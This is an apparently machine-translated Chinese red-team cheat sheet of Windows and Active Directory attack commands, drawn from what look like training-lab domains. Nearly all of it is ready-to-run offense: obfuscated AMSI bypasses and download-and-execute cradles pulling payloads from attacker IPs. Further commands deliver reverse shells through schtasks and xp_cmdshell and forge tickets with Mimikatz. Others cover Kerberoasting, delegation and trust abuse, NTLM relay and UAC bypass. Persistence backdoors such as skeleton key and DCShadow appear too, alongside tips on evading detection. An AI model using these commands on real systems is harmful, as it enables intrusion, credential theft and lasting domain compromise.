Windows和Active Directory备忘单和命令参考
General
PowerShell AMSI Bypass
修补AMSI将有助于绕过执行标记为恶意的PowerShell
脚本(例如PowerView
)时触发的AV警告。请勿在秘密操作中按原样使用,因为它们会被标记flag
。通过更改脚本以胜过基于签名的检测,可以混淆甚至更好地完全消除AMSI绕过的需要。
‘Plain’ AMSI bypass:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
用于复制粘贴的混淆示例:
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
另一个旁路,PowerShell自动记录未检测到:
[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)
更多绕过点击这里。对于混淆,请检查Invoke-Obfuscation,或在amsi.fail上获取预先生成的混淆版本。
PowerShell one-liners
反射式加载PowerShell脚本
代理感知:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')
不了解代理:
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText
同样,这可能会被标记flag。有关opsec安全的下载通讯座,请查看Invoke-CradleCrafter。
反射式加载C#程序集
在运行该类之前,请确保所引用的类和main方法为Public。请注意,为此可能需要全过程的AMSI旁路,有关详细信息,请参见此处。
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main("".Split())
# Download and run Rubeus, with arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
下载文件
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
# Powershell 4+
## You can use 'IWR' as a shorthand
Invoke-WebRequest "http://10.10.16.7/Incnspc64.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Incnspc64.exe"
编码命令
编码一线:
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
或以上版本的Linux:
echo 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")' | iconv -t utf-16le | base64 -w 0
对现有脚本进行编码,然后复制到剪贴板:
[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\path\to\PowerView.ps1')) | clip
运行它,绕过执行策略。
Powershell -EncodedCommand $encodedCommand
如果您方便使用Nishang,则可以使用Invoke-Encode.ps1。
枚举
使用PowerView进行AD枚举
# 获取当前域中的所有用户
Get-NetUser | select -ExpandProperty cn
# 获取当前域中的所有计算机
Get-NetComputer
# 获取当前林中的所有域
Get-NetForestDomain
# 获取域/林信任
Get-NetDomainTrust
Get-NetForestTrust
# 获取DA组的信息
Get-NetGroup -GroupName "Domain Admins"
# 查找DA组的成员
Get-NetGroupMember -GroupName "Domain Admins" | select -ExpandProperty membername
# 在域中查找有趣的共享,忽略默认共享
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC
# 获取当前域的OU
Get-NetOU -FullData
# 在OU中获取计算机
# %{} 是循环语句
Get-NetOU -OUName StudentMachines | %{Get-NetComputer -ADSPath $_}
# 获取适用于特定OU的GPO
Get-NetOU *student* | select gplink
Get-NetGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"
# 获取通过GPO设置的受限组,查找通过域强制设置的有趣组成员身份
Get-NetGPOGroup
# 获取特定对象的传入ACL
Get-ObjectACL -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights
# 查找整个域的有趣ACL,以可读(从左到右)格式显示
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft
# 获取特定用户或组的有趣的传出ACL
# ?{} 是一个过滤器语句
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights
AppLocker
识别AppLocker策略。寻找免除的二进制文件或要绕过的路径。
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
- 一些高级绕过技术:
- 如果仅允许使用(Microsoft)签名的二进制文件,请使用LOLBAS。
- 如果
C:\Windows
允许来自的二进制文件,请尝试将您的二进制文件拖放到C:\Windows\Temp
或C:\Windows\Tasks
。如果此目录树中没有可写的子目录,但存在可写文件,则将文件写入备用数据流(例如JScript脚本),然后从那里执行它。 - 将您的二进制文件包装在DLL文件中,然后执行
rundll32
以绕过可执行规则。如果允许使用Python之类的二进制文件,请使用该文件。如果这不起作用,请尝试其他技术,例如将JScript包装在HTA文件中或使用来运行XSL文件wmic
。
PowerShell受限语言模式
有时,您可能会发现自己处于执行约束语言模式(CLM)的PowerShell会话中。与AppLocker配对时,通常是这种情况(请参见上文)。
您可以通过轮询以下变量来获取当前的语言模式,从而确定自己处于受限语言模式。FullLanguage
对于无限制的会话和ConstrainedLanguage
CLM ,它将说。还有其他语言模式,在这里我将不再赘述。
$ExecutionContext.SessionState.LanguageMode
CLM构成的约束将阻止您的许多利用尝试。一种快速而肮脏的绕过方法是使用内联函数,该函数有时会起作用-如果例如whoami
被阻止,请尝试以下操作:
&{whoami}
LAPS
我们可以使用LAPSToolkit.ps1来识别域中的哪些计算机使用LAPS,以及允许哪些域组读取LAPS密码。如果属于此组,则也可以使用此工具获取当前的LAPS密码。
# 获取运行LAPS的计算机及其密码(如果允许我们读取这些密码)
Get-LAPSComputers
# 获取允许读取LAPS密码的组
Find-LAPSDelegatedGroups
Exploitation
Powercat反向shell
如果您的Linux机壳没有反向外壳,则可以选择;)。
powercat -l -p 443 -t 9999
横向运动
使用PowerView进行横向运动枚举
# 查找用户的现有本地管理员访问权限(noisy 🚩)
Find-LocalAdminAccess
# 通过PS远程处理(also noisy🚩)查找本地管理员访问权限,需要Find-PSRemotingLocalAdminAccess.ps1
Get-NetComputer -Domain dollarcorp.moneycorp.local > .\targets.txt
Find-PSRemotingLocalAdminAccess -ComputerFile .\targets.txt dcorp-std355
# 与WMI相同。是否需要“ Find-WMILocalAdminAccess.ps1”(似乎已从Nishang中删除了)?
Find-WMILocalAdminAccess -ComputerFile .\targets.txt
Find-WMILocalAdminAccess # Finds domain computers automatically
# 在您可以访问的机器上搜寻有趣的用户会话 (still noisy 🚩)
Invoke-UserHunter -CheckAccess | ?{$_.LocalAdmin -Eq True }
# 寻找 kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname
# 寻找 AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name
# 寻找可以设置UserAccountControl标志的用户
## 如果可用-禁用预身份验证或添加SPN(请参见下文)
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
# 查找启用了无限制委派的服务器
## 如果可用,并且您在此服务器上具有管理员权限,请获取用户TGT(请参见下文)
Get-DomainComputer -Unconstrained
# 查找启用了约束委派的用户或计算机
## 如果可用,并且您具有用户/计算机哈希,请以DA身份访问服务机(请参见下文)
Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
BloodHound
使用Invoke-BloodHound
fromSharpHound.ps1
或use SharpHound.exe
。两者都可以反思地运行,把它们放到这里。
# 如果您不关心OpSec,请运行所有检查🚩
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup
# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts 🚩
Invoke-BloodHound -CollectionMethod LoggedOn
Kerberoasting
Automatic
使用PowerView:
Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
使用Hashcat破解哈希:
hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule
Manual
# 请求TGS进行kerberoastable帐户(SPN)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local"
# 将TGS转储到磁盘
Invoke-Mimikatz -Command '"kerberos::list /export"'
# 使用TGSRepCrack破解
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi
Targeted kerberoasting by setting SPN
我们需要ACL写入权限才能为该用户设置UserAccountControl标志,有关搜索,请参见上文。使用PowerView:
Set-DomainObject -Identity support355user -Set @{serviceprincipalname='any/thing'}
AS-REP roasting
获取可焙烤用户的哈希(有关搜索,请参见上文)。使用ASREPRoast.ps1
:
Get-ASREPHash -UserName VPN355user
使用Hashcat破解哈希:
hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule
通过禁用Kerberos预身份验证进行有针对性的AS-REP漫游
我们需要ACL写入权限才能为该用户设置UserAccountControl标志,有关搜索,请参见上文。使用PowerView。
Set-DomainObject -Identity Control355User -XOR @{useraccountcontrol=4194304}
Token Manipulation
可以通过计算机上的会话/运行进程从其他用户模仿令牌。通过使用例如CobaltStrike注入到所述过程中可以实现类似的效果。
Incognito
# 在机器上显示令牌
.\incognito.exe list_tokens -u
# 使用特定用户的令牌启动新过程
.\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.exe
如果您使用Meterpreter,则可以将内置的Incognito模块与一起使用,可以使用
use incognito
相同的命令。
Invoke-TokenManipulation
# 显示机器上的所有令牌
Invoke-TokenManipulation -ShowAll
# 仅在机器上显示唯一的,可用的令牌
Invoke-TokenManipulation -Enumerate
# 使用特定用户的令牌启动新过程
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"
# 使用另一个进程的令牌启动新进程
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\calc.exe" -ProcessId 500
Mimikatz
# Overpass the hash
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:[NTLMHASH] /run:powershell.exe
# 黄金票据 (domain admin, w/ some ticket properties to avoid detection)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt
# 白银票据 for a specific SPN with a compromised service / machine account
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.domain.local /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt
可在此处找到用于银票的可用SPN列表。[这里](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Active Directory Attack.md#pass-the-ticket-silver-tickets)提供[了](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Active Directory Attack.md#pass-the-ticket-silver-tickets)与攻击相关的SPN的另一个不错的概述。
使用schtasks执行命令
需要“主机” SPN
创建任务:
# 注意引号。如果引用变得很痛苦,请使用编码的命令。
schtasks /create /tn "shell" /ru "NT Authority\SYSTEM" /s dcorp-dc.dollarcorp.moneycorp.local /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"
触发它:
schtasks /RUN /TN "shell" /s dcorp-dc.dollarcorp.moneycorp.local
使用WMI执行命令
需要“主机”和“ RPCSS” SPN
Windows
Invoke-WmiMethod win32_process -ComputerName dcorp-dc.dollarcorp.moneycorp.local -name create -argumentlist "powershell.exe -e $encodedCommand"
Linux
# 使用password
impacket-wmiexec dcorp/student355:password@172.16.4.101
# 使用hash
impacket-wmiexec dcorp/student355@172.16.4.101 -hashes :92F4AE6DCDAC7CF870B79F1758503D54
使用PowerShell Remoting执行命令
需要“ CIFS”,“ HTTP”和“ WSMAN” SPN
这个有点棘手。上述SPN的组合可能有效或无效-PowerShell也可能要求提供准确的FQDN。
# 创建凭据以其他用户身份运行(如果需要,PTT不需要)
# 如果不使用以下命令,请在以下命令中忽略-Credential $ Cred
$SecPassword = ConvertTo-SecureString 'thePassword' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('CORP\username', $SecPassword)
# 远程运行命令(可以一对多使用!)
Invoke-Command -Credential $Cred -ComputerName $computer -ScriptBlock {whoami; hostname}
# 以其他用户身份启动会话(提示输入密码)
Enter-PsSession -Credential $Cred -ComputerName $computer -Credential dcorp\Administrator
# 创建一个持久会话(将记住变量等),将脚本加载到该会话中,然后输入远程会话提示
$sess = New-PsSession -Credential $Cred
Invoke-Command -Session $sess -FilePath c:\path\to\file.ps1
Enter-PsSession -Session $sess
# 在活动的PowerShell远程会话之间复制文件或从中复制文件
Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess2 -Destination "C:\Users\dbprodadmin\documents\"
不受限制的委托
可以在前端服务(例如IIS Web服务器)上设置,以允许它代表用户委派域中的任何服务(向后端服务(例如MSSQL数据库))。
DACL UAC属性: TrustedForDelegation
.
Exploitation
在设置了无限制委派的服务器上具有管理特权时,我们可以为具有连接的其他用户转储TGT。使用Mimikatz:
sekurlsa::tickets /export
kerberos::ptt c:\path\to\ticket.kirbi
或与Rubeus一起使用
.\Rubeus.exe klist
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:doIFSDCC[...]
如果该DC容易受到打印机错误的影响,我们还可以获得域控制器计算机帐户的哈希值。在具有无限制委派的服务器上,使用Rubeus监视新票证。
.\Rubeus.exe monitor /interval:5 /nowrap
从攻击机上诱使域控制器使用打印机错误进行连接。从这里二进制。
.\MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appsrv.dollarcorp.moneycorp.local
DC的机器帐户的TGT应该在第一个会话中出现。我们可以传递此票证以获得DCSync特权。
.\Rubeus.exe ptt /ticket:doIFxTCCBc...
约束委派
可以在前端服务器(例如IIS)上设置约束委派,以允许它代表用户仅委派给选定的后端服务(例如MSSQL)。
DACL UAC属性:TrustedToAuthForDelegation
。这允许s4u2self
(即,仅使用NTLM密码哈希值)代表任何人自己请求TGS 。这有效地允许该服务仅使用他们的哈希来模拟域中的其他用户,并且在用户和前端之间不使用Kerberos的情况下非常有用。
DACL属性:msDS-AllowedToDelegateTo
。此属性包含允许在其上使用的SPN s4u2proxy
,即基于现有TGS(例如,从中使用所获得的TGS)请求该服务器的可转发TGS s4u2self
。这有效地定义了允许委派委派的后端服务。
注意:这些属性不一定必须并存!如果s4u2proxy
不允许使用s4u2self
,则需要用户交互才能从用户获得有效的TGS到前端服务,类似于无约束委派。
Exploitation
在这种情况下,我们使用Rubeus自动请求TGT,然后使用带有ldap
SPN的TGS,以允许我们使用计算机帐户进行DCSync。
# Get a TGT using the compromised service account with delegation set (if needed)
.\Rubeus.exe asktgt /user:sa_with_delegation /domain:domain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
# Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt
# Same as above, but access the LDAP service on the DC (for dcsync) using pw hash
.\Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
基于资源的约束委派
基于资源的约束委派(RBCD)将后端服务器(例如MSSQL)配置为仅允许选定的前端服务(例如IIS)代表用户进行委派。这使特定的服务器管理员可以更轻松地配置委派,而无需域管理员权限。
DACL属性:msDS-AllowedToActOnBehalfOfOtherIdentity
。
在这种情况下,s4u2self
并且和s4u2proxy
一样用于代表用户请求可转发票证。但是,使用RBCD,KDC会检查后端服务的属性中是否存在用于请求服务(即前端服务)的SPN 。这意味着前端服务需要设置SPN。因此,必须从具有SPN的服务帐户或计算机帐户对RBC进行攻击。msDS-AllowedToActOnBehalfOfOtherIdentity
Exploitation
如果我们损害出现在后端服务的RBCD属性中的前端服务,则利用与上面的受约束委派相同。但是,这不太常见。
更经常看到攻击RBCD是当我们有GenericWrite
,GenericAll
,WriteProperty
,或WriteDACL
许可在域中的计算机对象。这意味着我们可以msDS-AllowedToActOnBehalfOfOtherIdentity
在该计算机帐户上写入属性,以添加受信任的SPN或计算机帐户以进行委派。我们甚至可以创建一个新的计算机帐户并添加它。就像上面的约束委派一样,这使我们可以在任何用户的上下文中破坏目标计算机。
# Create a new machine account using PowerMad
New-MachineAccount -MachineAccount InconspicuousMachineAccount -Password $(ConvertTo-SecureString 'Compromised123!' -AsPlainText -Force)
# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target
$sid = Get-DomainComputer -Identity InconspicuousMachineAccount -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target
Get-DomainComputer -Identity TargetSrv01 | Set-DomainObject -Set @{'msdsallowedtoactonbehalfofotheridentity'=$SDBytes}
# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target
.\Rubeus.exe s4u /user:InconspicuousMachineAccount$ /rc4:3644AC5E3D9441CCBCEF08CBAF98E910 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv01.corp1.com /ptt
滥用域信任
必须以DA特权运行。
使用域信任密钥
从DC中,currentdomain\targetdomain$
使用Mimikatz
(例如,使用LSADump
或DCSync
)转储信任帐户的哈希。然后,使用此信任密钥和域SID
,使用Mimikatz
伪造一个跨域TGT
,将目标域的企业管理员组的SID
添加到我们的“ SID history
”中。
kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
使用Rubeus.
确保您具有正确的Rubeus版本。由于某些原因,我的某些编译二进制文件给出了错误
KDC_ERR_WRONG_REALM
,而CRTP提供的版本可以正常工作。
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
现在,我们可以DCSync目标域(请参见下文)。
使用krbtgt哈希
F从DC中,使用DCSync或LSADump转储krbtgt哈希。然后,像以前的方法一样,使用此哈希,使用Mimikatz伪造一个跨域TGT。
使用SID历史(/sids
的)*-516
和S-1-5-9
以伪装的域控制器组和企业域控制器分别是在日志中的噪声低。
kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:dcorp-dc$ /groups:516 /ptt
如果您在创建此票证时遇到问题,请尝试添加“ target”标志,例如
/target:moneycorp.local
.
或者,生成具有EA组的SID历史记录的域管理员票证。
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt
现在,我们可以立即DCSync目标域,或使用计划任务获取反向shell。
滥用林间信任
由于林是安全边界,因此我们只能访问已与我们入侵的域(我们的源域)共享的域服务。使用例如BloodHound查找在两个林中都具有帐户(具有相同用户名)的用户,然后尝试重用密码。此外,我们可以使用PowerView来搜寻林之间的外部组成员身份。
Get-DomainForeignGroupMember -domain corp2.com
在某些情况下,可能会在林之间禁用SID过滤(导致上述情况的保护)。如果您运行Get-DomainTrust
并看到该TREAT_AS_EXTERNAL
属性,便是这种情况!在这种情况下,如上所述,您可以像域信任一样滥用目录林信任。请注意,您仍然可以不伪造车票500和1000之间的任何SID的,所以你不能成为DA(甚至没有间接通过组继承)。在这种情况下,寻找在域控制器上授予本地管理员或类似非域特权的组。有关更多信息,请参阅此博客文章。
要模拟来自我们源域的用户以访问外部域中的服务,我们可以执行以下操作。如上述“使用域信任密钥”中那样提取林间信任密钥。
使用Mimikatz通过信任密钥为目标域生成TGT:
Kerberos::golden /user:Administrator /service:krbtgt /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /target:eurocorp.local /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:eucorp-tgt.kirbi
然后,使用RubeusCIFS
使用该TGT向TGS询问例如目标DC上的服务。
.\Rubeus.exe asktgs /ticket:c:\ad\tools\eucorp-tgt.kirbi /service:CIFS/eurocorp-dc.eurocorp.local /dc:eurocorp-dc.eurocorp.local /ptt
现在,我们可以将目标林的DC上的CIFS服务用作源域的DA(同样,只要此信任关系已配置为存在)。
滥用MSSQL数据库进行横向移动
可以链接MSSQL数据库,这样,如果您破坏了一个数据库,则可以在特定用户(sa
也许是)的上下文中对其他数据库执行查询(甚至命令!)。这甚至可以跨森林工作!如果执行SQL,则可以使用以下命令枚举数据库链接。
-- 查找链接的服务器
EXEC sp_linkedservers
-- 在链接服务器上运行SQL查询
select mylogin from openquery("dc01", 'select SYSTEM_USER as mylogin')
-- 在远程服务器上启用“ xp_cmdshell”并执行命令
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT DC01
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT DC01
EXEC ('xp_cmdshell ''whoami'' ') AT DC01
我们还可以使用PowerUpSQL在域中查找数据库,并收集有关(可达)数据库的更多信息。我们还可以自动在链接的数据库中查找并执行查询或命令(甚至通过多层数据库链接)。
# 获取域中的MSSQL数据库,并测试连通性
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft
# 尝试获取所有域数据库上的信息
Get-SQLInstanceDomain | Get-SQLServerInfo
# 在单个可访问的数据库上获取信息
Get-SQLServerInfo -Instance dcorp-mssql
# 扫描MSSQL错误配置以升级到SA
Invoke-SQLAudit -Verbose -Instance UFC-SQLDEV
# 执行SQL查询
Get-SQLQuery -Query "SELECT system_user" -Instance UFC-SQLDEV
# 运行命令(需要启用XP_CMDSHELL)
Invoke-SQLOSCmd -Instance devsrv -Command "whoami" | select -ExpandProperty CommandResults
# 自动查找所有链接的数据库
Get-SqlServerLinkCrawl -Instance dcorp-mssql | select instance,links | ft
# 如果在任何链接的数据库上启用了XP_CMDSHELL,则运行命令
Get-SqlServerLinkCrawl -Instance dcorp-mssql -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft
Get-SqlServerLinkCrawl -Instance dcorp-mssql -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1'')"' | select instance,links,customquery | ft
如果您具有对MSSQL数据库的低特权访问权限,并且不存在任何链接,则有可能通过使用xp_dirtree
存储过程访问此共享来强制执行NTLM身份验证。如果成功,则可以收集SQL服务帐户的NetNTLM,并可能将其破解或中继,以破坏作为该服务帐户的计算机。
EXEC master..xp_dirtree "\\192.168.49.67\share"
中继哈希以通过身份验证为本地admin的示例命令(如果服务帐户具有这些特权)并运行calc.exe
。忽略该-c
参数尝试尝试secretsdump
。
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.67.6 -c 'calc.exe'
特权提升
有关更多信息(包括Windows和Linux),请参阅我的OSCP备忘单和命令参考。
PowerUp
# 检查易受攻击的程序和配置
Invoke-AllChecks
# 利用易受攻击的服务权限(不需要触摸磁盘)
Invoke-ServiceAbuse -Name "AbyssWebServer" -Command "net localgroup Administrators domain\user /add"
# 利用易受攻击的服务权限触发稳定的beacon
Write-ServiceBinary -Name 'AbyssWebServer' -Command 'c:\windows\system32\rundll32 c:\Users\Student355\Downloads\go_dll_rtl_x64.dll,Update' -Path 'C:\WebServer\Abyss'
net stop AbyssWebServer
net start AbyssWebServer
Bypass UAC
# 生成EncodedCommand
echo -n 'cmd /c start rundll32 c:\\users\\public\\beacon.dll,Update' | base64
# 使用 SharpBypassUAC e.g. 从CobaltStrike 的一个beacon
beacon> execute-assembly /opt/SharpBypassUAC/SharpBypassUAC.exe -b eventvwr -e Y21kIC9jIHN0YXJ0IHJ1bmRsbDMyIGM6XHVzZXJzXHB1YmxpY1xiZWFjb24uZGxsLFVwZGF0ZQ==
在某些情况下,运行手动Bypass UAC (例如FODHelper bypass)可能会变得更好,而FODHelper旁路在PowerShell中执行起来非常简单。
# The command to execute in high integrity context
$cmd = "cmd /c start powershell.exe"
# Set the registry values
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force
# Trigger fodhelper to perform the bypass
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Clean registry
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Persistence
启动文件夹
只需删除一个二进制文件即可。经典😎🚩
在当前用户文件夹中,将在当前用户登录时触发:
c:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
或在启动文件夹中,需要管理特权,但在启动时以及任何用户登录时将以SYSTEM身份触发:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
域持久性
必须以DA特权运行。
Mimikatz万能钥匙攻击
从DC运行。为所有用户🚩启用密码“ mimikatz”。
privilege::debug
misc::skeleton
使用PowerView授予特定的用户DCSync权限
随时为您提供用户选择的DCSync权限。在某些设置中可能会逃避检测。
Add-ObjectACL -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName student355 -Rights DCSync
域控制器DSRM管理员
DSRM管理员是DC的本地管理员帐户。首先需要启用远程登录。
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
现在,我们可以使用之前转储在DC上的本地管理哈希值远程登录(使用lsadump::sam
,请参见下面的“使用Mimikatz转储秘密”)。使用例如“越过哈希”来获得会话(请参见上面的“ Mimikatz”)。
修改安全描述符以进行远程WMI访问
使用Set-RemoteWMI.ps1
cmdlet向用户WMI访问计算机。可以运行以持久访问例如DC。
Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2'
有关执行,请参见上面的“使用WMI执行命令”。
修改PowerShell远程访问的安全描述符
使用Set-RemotePSRemoting.ps1
cmdlet向用户PowerShell远程访问计算机。可以运行以持久访问例如DC。
Set-RemotePSRemoting -UserName student1 -ComputerName dcorp-dc.dollarcorp.moneycorp.local
有关执行,请参见上面的“使用PowerShell Remoting执行命令”。
修改DC注册表安全描述符以使用DAMP进行远程哈希检索
使用DAMP工具,我们就可以借壳DC注册表来给我们上的访问SAM
,SYSTEM
以及SECURITY
注册表配置单元。这使我们能够远程转储DC机密(哈希)。
我们使用Add-RemoteRegBackdoor.ps1
来自DAMP的cmdlet添加后门。
Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trustee Student355
使用RemoteHashRetrieval.ps1
DAMP中的cmdlet远程转储秘密(以“受信任”用户身份运行)。
# 获取针对银票攻击的机器帐户哈希
Get-RemoteMachineAccountHash -ComputerName dcorp-dc
# 获取本地帐户哈希
Get-RemoteLocalAccountHash -ComputerName dcorp-dc
# 获取缓存的凭据(如果有)
Get-RemoteCachedCredential -ComputerName dcorp-dc
DCShadow
DCShadow是一种通过临时模仿域控制器来掩盖某些动作的攻击。如果您在根域中具有Domain Admin或Enterprise Admin特权,则可以将其用于林级别的持久性。
(可选)作为域管理员,为选定的用户提供DCShadow攻击所需的特权(使用Set-DCShadowPermissions.ps1
cmdlet)。
Set-DCShadowPermissions -FakeDC mcorp-student35 -SamAccountName root355user -Username student355 -Verbose
